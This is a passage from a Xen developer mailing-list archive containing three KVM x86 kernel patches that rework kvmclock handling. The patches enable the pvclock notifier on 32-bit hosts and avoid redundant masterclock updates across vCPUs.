	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8P-0007ha-6q; Tue, 28 Jul 2026 14:50:21 +0000
Received: by outflank-mailman (input) for mailman id 1374507;
 Tue, 28 Jul 2026 14:50:15 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8J-0006TH-Fu
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8I-004rRp-Sd; Tue, 28 Jul 2026 16:50:14 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c182-bab6-0a2a0a5309dd-0a2a4504aa18-30
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:14 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a6-b57f-0a2a45040019-5a9b5cc7b922-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:14 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052VV-34XV; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYA-1Is7;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=FIpnIbjJ0pzN59/UsQ51DXTnfaDdE7kwlCIrC+Ft09U=; b=WfxkToMz9J4yo7htdBdApQX/+3
	/j7pFQ4Azzl+R6EK8CJCB0HorJqtYgyXCI3ci14hiUBFQuc78tdSkTFpjGKD8+59AkeHldWbH1Js1
	NZsBFb6yC9rysE7YhuRtIReSOpDKn/jRZ/4IwwST0FvXqtsQ5AKcjnurjpuNvjzpv86VwWbLfmMOk
	ACy+qLDjDwFP56e4ogOZ2idEmvDx11DWacVylhKJ0224yPnVRTazNdL5I+npc4QbRMfQoQGTWkgLz
	FvXNK4kkwhRVuQWMdMdwfno0gOPchLCYETpMDrc8TpUrjd847bKq1tMhxIFWjeaPZX8TsfnaVo9g2
	6uV6Rzxg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 07/36] KVM: x86: Restructure get_kvmclock()
Date: Tue, 28 Jul 2026 15:39:47 +0100
Message-ID: <20260728144954.355376-8-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ebf023/1785250214-C3AC0B50-5F7FB874/0/0
X-purgate-type: clean
X-purgate-size: 2912

From: David Woodhouse <dwmw@amazon.co.uk>

Wrap the entire use_master_clock block in #ifdef CONFIG_X86_64, since
use_master_clock is never true on 32-bit (host_tsc_clocksource is only
set under CONFIG_X86_64), and declare hv_clock inside the block so it is
not left as an unused variable on 32-bit.

Use 'continue' on the master-clock success path so the non-master-clock
computation becomes the common tail, avoiding a goto and label. When the
clock read fails (e.g. clocksource transitioning away from TSC), fall
back to that path rather than proceeding with uninitialised data or
spinning in the seqcount loop.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 36 ++++++++++++++++++++----------------
 1 file changed, 20 insertions(+), 16 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 590a7ba723f7..51908d7093ba 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1653,34 +1653,38 @@ static unsigned long get_cpu_tsc_khz(void)
 static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
 {
 	struct kvm_arch *ka = &kvm->arch;
-	struct pvclock_vcpu_time_info hv_clock;
 	unsigned int seq;
 
 	do {
 		seq = read_seqcount_begin(&ka->pvclock_sc);
 
 		data->flags = 0;
-		if (ka->use_master_clock) {
 #ifdef CONFIG_X86_64
+		if (ka->use_master_clock) {
+			struct pvclock_vcpu_time_info hv_clock;
 			struct timespec64 ts;
 
 			if (kvm_get_walltime_and_clockread(&ts, &data->host_tsc)) {
 				data->realtime = ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec;
-				data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC;
-			} else
-#endif
-			data->host_tsc = rdtsc();
-
-			data->flags |= KVM_CLOCK_TSC_STABLE;
-			hv_clock.tsc_timestamp = ka->master_cycle_now;
-			hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
-			kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
-					   &hv_clock.tsc_shift,
-					   &hv_clock.tsc_to_system_mul);
-			data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
-		} else {
-			data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
+				data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC | KVM_CLOCK_TSC_STABLE;
+
+				hv_clock.tsc_timestamp = ka->master_cycle_now;
+				hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
+				kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
+						   &hv_clock.tsc_shift,
+						   &hv_clock.tsc_to_system_mul);
+				data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
+				continue;
+			}
+
+			/*
+			 * Clock read failed (e.g. clocksource is transitioning
+			 * away from TSC). Fall back to the non-master-clock path
+			 * rather than spinning.
+			 */
 		}
+#endif
+		data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
 	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
 }
 
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374508.1621766 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8R-00085Y-KO; Tue, 28 Jul 2026 14:50:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374508.1621766; Tue, 28 Jul 2026 14:50:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8Q-000824-LP; Tue, 28 Jul 2026 14:50:22 +0000
Received: by outflank-mailman (input) for mailman id 1374508;
 Tue, 28 Jul 2026 14:50:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8J-0006Vp-Ny
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8J-00EhwD-3F; Tue, 28 Jul 2026 16:50:15 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a5-5cb7-0a2a0a5109dd-0a2a450cb8be-2
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:14 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a6-f479-0a2a450c0019-5a9b5cc78094-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:14 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Va-33u1; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UY1-0igE;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=Sv1pnNixmKYuTjxcdahAJ3zwXMx4XJCiu4ZrlsHCeyU=; b=AigdRXhGXXcDK8j+O2zkPhOlZc
	xKfCnkwVpaY5JkYQYvmg9me/fhv/BXON/DIsNAyoPTRsNyqYJdmVecAuOjflt8+0adFR+W68bur62
	x0rNA6Olu8Gu2qKEZw95GfHmiAHnD/HlX9gKXkeq2Fa2EbtpjqHFbX4c6ZmStbxg7DPmVfK2dJnza
	KipPqOpDdrGQW6yBYpD2bMBInz8JlYlIdFmtbtk9LH/TzA74A7hTRVpbwk1pRIU+H9oOfP9T8D3fm
	gVGtexoqiH74+fQF5ubO9dxBRuKj6fqlxQYuJO69zCvj6qCcFq1CvVGUs4MZE/F393OVvyk04EWRG
	7dwQas1g==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 04/36] KVM: x86: Avoid NTP frequency skew for KVM clock on 32-bit host
Date: Tue, 28 Jul 2026 15:39:44 +0100
Message-ID: <20260728144954.355376-5-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d25034/1785250214-51538A5B-FB7DD51C/0/0
X-purgate-type: clean
X-purgate-size: 3639

From: David Woodhouse <dwmw@amazon.co.uk>

Commit 53fafdbb8b21 ("KVM: x86: switch KVMCLOCK base to monotonic raw
clock") did so only for 64-bit hosts, by capturing the boot offset from
within the existing clocksource notifier update_pvclock_gtod().

That notifier was added in commit 16e8d74d2da9 ("KVM: x86: notifier for
clocksource changes") but only on x86_64, because its original purpose
was just to disable the "master clock" mode which is only supported on
x86_64.

Now that the notifier is used for more than disabling master clock mode,
enable it for the 32-bit build too so that get_kvmclock_base_ns() can be
unaffected by NTP sync on 32-bit too.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/x86.c | 19 ++++++-------------
 1 file changed, 6 insertions(+), 13 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index dac9264497e8..71e0653aa447 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -874,7 +874,6 @@ static inline bool kvm_vcpu_exit_request(struct kvm_vcpu *vcpu)
 	       kvm_request_pending(vcpu) || xfer_to_guest_mode_work_pending();
 }
 
-#ifdef CONFIG_X86_64
 struct pvclock_clock {
 	int vclock_mode;
 	u64 cycle_last;
@@ -932,13 +931,6 @@ static s64 get_kvmclock_base_ns(void)
 	/* Count up from boot time, but with the frequency of the raw clock.  */
 	return ktime_to_ns(ktime_add(ktime_get_raw(), pvclock_gtod_data.offs_boot));
 }
-#else
-static s64 get_kvmclock_base_ns(void)
-{
-	/* Master clock not used, so we can just use CLOCK_BOOTTIME.  */
-	return ktime_get_boottime_ns();
-}
-#endif
 
 static uint32_t div_frac(uint32_t dividend, uint32_t divisor)
 {
@@ -6868,6 +6860,7 @@ static void pvclock_irq_work_fn(struct irq_work *w)
 }
 
 static DEFINE_IRQ_WORK(pvclock_irq_work, pvclock_irq_work_fn);
+#endif
 
 /*
  * Notification about pvclock gtod data update.
@@ -6875,26 +6868,26 @@ static DEFINE_IRQ_WORK(pvclock_irq_work, pvclock_irq_work_fn);
 static int pvclock_gtod_notify(struct notifier_block *nb, unsigned long unused,
 			       void *priv)
 {
-	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
 	struct timekeeper *tk = priv;
 
 	update_pvclock_gtod(tk);
 
+#ifdef CONFIG_X86_64
 	/*
 	 * Disable master clock if host does not trust, or does not use,
 	 * TSC based clocksource. Delegate queue_work() to irq_work as
 	 * this is invoked with tk_core.seq write held.
 	 */
-	if (!gtod_is_based_on_tsc(gtod->clock.vclock_mode) &&
+	if (!gtod_is_based_on_tsc(pvclock_gtod_data.clock.vclock_mode) &&
 	    atomic_read(&kvm_guest_has_master_clock) != 0)
 		irq_work_queue(&pvclock_irq_work);
+#endif
 	return 0;
 }
 
 static struct notifier_block pvclock_gtod_notifier = {
 	.notifier_call = pvclock_gtod_notify,
 };
-#endif
 
 void kvm_setup_xss_caps(void)
 {
@@ -7113,9 +7106,9 @@ int kvm_x86_vendor_init(struct kvm_x86_init_ops *ops)
 
 	if (pi_inject_timer == -1)
 		pi_inject_timer = housekeeping_enabled(HK_TYPE_TIMER);
-#ifdef CONFIG_X86_64
 	pvclock_gtod_register_notifier(&pvclock_gtod_notifier);
 
+#ifdef CONFIG_X86_64
 	if (hypervisor_is_type(X86_HYPER_MS_HYPERV))
 		set_hv_tscchange_cb(kvm_hyperv_tsc_notifier);
 #endif
@@ -7172,8 +7165,8 @@ void kvm_x86_vendor_exit(void)
 					    CPUFREQ_TRANSITION_NOTIFIER);
 		cpuhp_remove_state_nocalls(CPUHP_AP_X86_KVM_CLK_ONLINE);
 	}
-#ifdef CONFIG_X86_64
 	pvclock_gtod_unregister_notifier(&pvclock_gtod_notifier);
+#ifdef CONFIG_X86_64
 	irq_work_sync(&pvclock_irq_work);
 	cancel_work_sync(&pvclock_gtod_work);
 #endif
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374509.1621770 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8S-0008KI-MK; Tue, 28 Jul 2026 14:50:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374509.1621770; Tue, 28 Jul 2026 14:50:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8R-0008IO-T3; Tue, 28 Jul 2026 14:50:23 +0000
Received: by outflank-mailman (input) for mailman id 1374509;
 Tue, 28 Jul 2026 14:50:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8I-00060V-Bx
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8H-00EhwD-Oh; Tue, 28 Jul 2026 16:50:13 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a5-5cb7-0a2a0a5109dd-0a2a450cb8be-0
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:13 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a4-f479-0a2a450c0019-5a9b5cc78090-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:13 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Vd-33c7; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UZ8-3up5;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=1SfIHepEq3J7+SYj5KFg2Bkl7CKo6vSyjVCrF+poSEs=; b=TqzVc2Ug4pWcAQpipk4b7x8bv4
	PzfQaaItDAYUXMB23oD/H43IwloUM5wWThs1JICBh7rS1kPIafJ+A6rHWECVUZaBQ43PfkrtNCTO9
	3N24Y3Um4xOlLSvteLpQf3jgxhfzOZedF5sCo9TsJkRlh3PbjVzkYrOUG6p2zA5EJdqqNXR0eDboi
	c098UJkVJyzPGUl6mLtVGz7rivsFlOD3/iH0zpbOU2BbUflleTSe7UdztUEiLRaASNACAKgBk3cnA
	Fx2n4/hneTFqzwoF7no1fwD7p+z0mIKbLfwkxk4Eije8AZqDu0UEFvFrk61LcuCMXBDgtldtJwKf9
	iIdsO0rQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 21/36] KVM: x86: Avoid redundant masterclock updates from multiple vCPUs
Date: Tue, 28 Jul 2026 15:40:01 +0100
Message-ID: <20260728144954.355376-22-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d25034/1785250213-774D7A5B-A98F0F14/0/0
X-purgate-type: clean
X-purgate-size: 5177

From: David Woodhouse <dwmw@amazon.co.uk>

When a masterclock update is triggered (e.g. by the clocksource change
notifier), KVM_REQ_MASTERCLOCK_UPDATE is set on all vCPUs. Without this
fix, each vCPU independently processes the request and redundantly
re-executes the entire pvclock_update_vm_gtod_copy() sequence, serialized
only by tsc_write_lock. Each redundant re-snapshot of the master clock
reference point introduces potential clock drift.

Fix this by having __kvm_start_pvclock_update() check, after acquiring
the lock, whether the requesting vCPU's KVM_REQ_MASTERCLOCK_UPDATE is
still set. If another vCPU already did the update and cleared it, bail
out. Otherwise, clear the request on all other vCPUs before proceeding.

The caller in vcpu_enter_guest() now uses kvm_test_request() (non-clearing)
since the clearing is done inside __kvm_start_pvclock_update() under the
lock.

Suggested-by: Dongli Zhang <dongli.zhang@oracle.com>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Tested-by: Dongli Zhang <dongli.zhang@oracle.com>
---
 arch/x86/kvm/x86.c | 60 +++++++++++++++++++++++++++++++++++-----------
 1 file changed, 46 insertions(+), 14 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 83db915ef1d4..06f968007f1a 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1727,10 +1727,39 @@ static void kvm_make_mclock_inprogress_request(struct kvm *kvm)
 	kvm_make_all_cpus_request(kvm, KVM_REQ_MCLOCK_INPROGRESS);
 }
 
-static void __kvm_start_pvclock_update(struct kvm *kvm)
+static void kvm_clear_mclock_inprogress_request(struct kvm *kvm)
 {
+	struct kvm_vcpu *vcpu;
+	unsigned long i;
+
+	kvm_for_each_vcpu(i, vcpu, kvm)
+		kvm_clear_request(KVM_REQ_MCLOCK_INPROGRESS, vcpu);
+}
+
+static bool __kvm_start_pvclock_update(struct kvm *kvm, struct kvm_vcpu *requesting_vcpu)
+{
+	struct kvm_vcpu *vcpu;
+	unsigned long i;
+
 	raw_spin_lock_irq(&kvm->arch.tsc_write_lock);
+
+	/*
+	 * If another vCPU already did the update while we were waiting
+	 * for the lock, our request will have been cleared. Bail out.
+	 */
+	if (requesting_vcpu &&
+	    !kvm_test_request(KVM_REQ_MASTERCLOCK_UPDATE, requesting_vcpu)) {
+		kvm_clear_mclock_inprogress_request(kvm);
+		raw_spin_unlock_irq(&kvm->arch.tsc_write_lock);
+		return false;
+	}
+
+	/* The update is VM-wide; prevent other vCPUs from redoing it. */
+	kvm_for_each_vcpu(i, vcpu, kvm)
+		kvm_clear_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu);
+
 	write_seqcount_begin(&kvm->arch.pvclock_sc);
+	return true;
 }
 
 static void kvm_start_pvclock_update(struct kvm *kvm)
@@ -1738,7 +1767,7 @@ static void kvm_start_pvclock_update(struct kvm *kvm)
 	kvm_make_mclock_inprogress_request(kvm);
 
 	/* no guest entries from this point */
-	__kvm_start_pvclock_update(kvm);
+	__kvm_start_pvclock_update(kvm, NULL);
 }
 
 static void kvm_end_pvclock_update(struct kvm *kvm)
@@ -1747,22 +1776,25 @@ static void kvm_end_pvclock_update(struct kvm *kvm)
 	struct kvm_vcpu *vcpu;
 	unsigned long i;
 
-	write_seqcount_end(&ka->pvclock_sc);
-	raw_spin_unlock_irq(&ka->tsc_write_lock);
 	kvm_for_each_vcpu(i, vcpu, kvm)
 		kvm_make_request(KVM_REQ_CLOCK_UPDATE, vcpu);
 
 	/* guest entries allowed */
-	kvm_for_each_vcpu(i, vcpu, kvm)
-		kvm_clear_request(KVM_REQ_MCLOCK_INPROGRESS, vcpu);
+	kvm_clear_mclock_inprogress_request(kvm);
+
+	write_seqcount_end(&ka->pvclock_sc);
+	raw_spin_unlock_irq(&ka->tsc_write_lock);
 }
 
-static void kvm_update_masterclock(struct kvm *kvm)
+static void kvm_update_masterclock(struct kvm *kvm, struct kvm_vcpu *vcpu)
 {
 	kvm_hv_request_tsc_page_update(kvm);
-	kvm_start_pvclock_update(kvm);
-	pvclock_update_vm_gtod_copy(kvm);
-	kvm_end_pvclock_update(kvm);
+	kvm_make_mclock_inprogress_request(kvm);
+
+	if (__kvm_start_pvclock_update(kvm, vcpu)) {
+		pvclock_update_vm_gtod_copy(kvm);
